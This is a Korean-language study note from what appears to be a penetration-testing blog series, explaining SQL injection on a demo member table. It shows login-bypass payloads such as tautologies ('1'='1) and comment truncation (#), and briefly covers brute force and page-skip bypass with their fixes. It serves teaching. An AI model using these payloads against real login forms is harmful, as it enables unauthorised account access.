SQL Injection
- Injection : 주입하다, 넣다
- SQL 문법을 주입해서 하는 공격
- DB에게 SQL언어로 원하는 명령어를 실행
id | pass | info | |
admin | 1234 | admin@test.com | admin |
moon | moon1234 | moon@test.com | |
luna | 1234 | luna@test.com | admin |
test | test1234 | test@test.com | ??? |
select * from member where id = ‘luna’;
id | pass | info | |
luna | 1234 | luna@test.com | admin |
select id, pass from member where id = ‘luna’;
id | pass |
luna | 1234 |
- 받은 글자를 웹 서버에서 준비한 `select * from member where id = ‘________’` 언어에 받은 글자를 밑줄에 작성함
- -> 이를 DB로 보내 실행 한 후 정보를 전달
select * from member where id = ‘$sql’
$sql = luna’
- select * from member where id = ‘luna’’ -> 문법 에러가 남
$sql = luna’ and ‘1’=’1
- select * from member where id = ‘luna’ and ‘1’=’1’
id | pass | info | |
luna | 1234 | luna@test.com | admin |
$sql = luna’ and pass=’1234
- select * from member where id = ‘luna’ and pass=’1234’
id | pass | info | |
luna | 1234 | luna@test.com | admin |
$sql = luna’ or ‘1’=’1
- select * from member where id = ‘luna’ or ‘1’=’1’ -> luna 또는 참인 것(전부)
- ‘1’=’1’결과는 참이다.
id | pass | info | |
admin | 1234 | admin@test.com | admin |
moon | moon1234 | moon@test.com | |
luna | 1234 | luna@test.com | admin |
test | test1234 | test@test.com | ??? |
select * from member where id=’ID’ and pass=’pw’ -- 식별 인증 동시
ID = luna / pw = 1234
- select * from member where id=’luna’ and pass=’1234’
id | pass | info | |
luna | 1234 | luna@test.com | admin |
ID = luna’ # / pw = aaaaaaa
- select * from member where id=’luna’ #’ and pass=’aaaaaaa’ → # : 그 뒤 부터 주석
id | pass | info | |
luna | 1234 | luna@test.com | admin |
ID = luna’ or ‘1’ = ‘1 / pw = bbbbb
- select * from member where id = ‘luna’ or ‘1’ = ‘1’ and pass = ‘bbbbb’ ⇒ and 연산자 우선
- id가 ‘luna’인 데이터 또는 (참과 pass가 bbbbb 인것)
id | pass | info | |
luna | 1234 | luna@test.com | admin |
- 알고 있는 로그인 정보에 ’ and/or ‘1’ = ‘1’ 사용하는 이유 => sql 인젝션 취약점이 있을 수 도 있다는 것을 예측
- 식별 / 분리 인증도 생각해 봐야 함
- Brute Force : 무작위 대입 공격
- 사전 대입 공격
- 인증 횟수 제한을 두면 됨
- 페이지 JUMP → 페이지 건너뛰기(인증 건너뛰기)
- 이전 페이지에서 인증을 했는지 검증(검사) 로직을 구현하면 됨
728x90
반응형
'모의해킹 > 모의해킹 스터디' 카테고리의 다른 글
모의해킹 스터디 CTF 문제 - PIN CODE Bypass (0) | 2024.11.18 |
---|---|
모의해킹 스터디 CTF 문제 - Get Admin (0) | 2024.11.18 |
모의해킹 스터디 4주차 과제(2) - 쿠키 탈취 / 키로거 (0) | 2024.11.14 |
모의해킹 스터디 4주차 과제(1) - 게시판 만들기 (0) | 2024.11.12 |
모의해킹 스터디 4주차 정리 (0) | 2024.11.08 |